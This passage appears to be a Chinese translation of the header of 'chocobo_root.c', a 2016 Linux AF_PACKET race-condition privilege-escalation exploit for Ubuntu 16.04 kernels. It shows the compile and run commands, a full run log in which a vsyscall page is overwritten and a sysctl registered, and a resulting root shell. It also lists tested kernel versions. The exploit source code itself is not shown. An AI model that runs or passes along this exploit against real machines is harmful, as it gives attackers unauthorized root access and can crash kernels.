ocobo_root.c linux AF_PACKET 竞态条件漏洞利用 针对 Ubuntu 16.04 x86_64 的漏洞利用
user@ubuntu:$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:$ ./chocobo_root
使 vsyscall 页面可写..
新的漏洞利用尝试开始,跳转到 0xffffffff8106f320,参数=0xffffffffff600000 套接字已分配 移除屏障并进行喷射.. 版本切换器停止,x = -1 (y = 174222, 最后一个值 = 2) 当前数据包版本 = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0,竞态条件获胜 === 请等待最多几分钟让定时器执行。如果你现在按Ctrl-C,内核将会挂起。请不要那样做。 关闭套接字并验证....... vsyscall 页面已修改!
阶段 1 完成 注册新的 sysctl..
新的漏洞利用尝试开始,跳转到 0xffffffff812879a0,参数=0xffffffffff600850 套接字已分配 移除屏障并进行喷射.. 版本切换器停止,x = -1 (y = 30773, 最后一个值 = 0) 当前数据包版本 = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 竞态条件未获胜
重试阶段.. 新的漏洞利用尝试开始,跳转到 0xffffffff812879a0,参数=0xffffffffff600850 套接字已分配 移除屏障并进行喷射.. 版本切换器停止,x = -1 (y = 133577, 最后一个值 = 2) 当前数据包版本 = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0,竞态条件获胜 === 请等待最多几分钟让定时器执行。如果你现在按Ctrl-C,内核将会挂起。请不要那样做。 关闭套接字并验证....... sysctl 已添加!
阶段 2 完成 内核执行了二进制文件,启动 root shell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)
==============================
包含了旧内核的偏移量,但未经测试,因此请注意此漏洞利用可能会使早于 4.4 的内核崩溃。
已测试于: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
感谢: jsc 提供的灵感 (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery 提供的热饼和咖啡
2016年11月 作者:rebel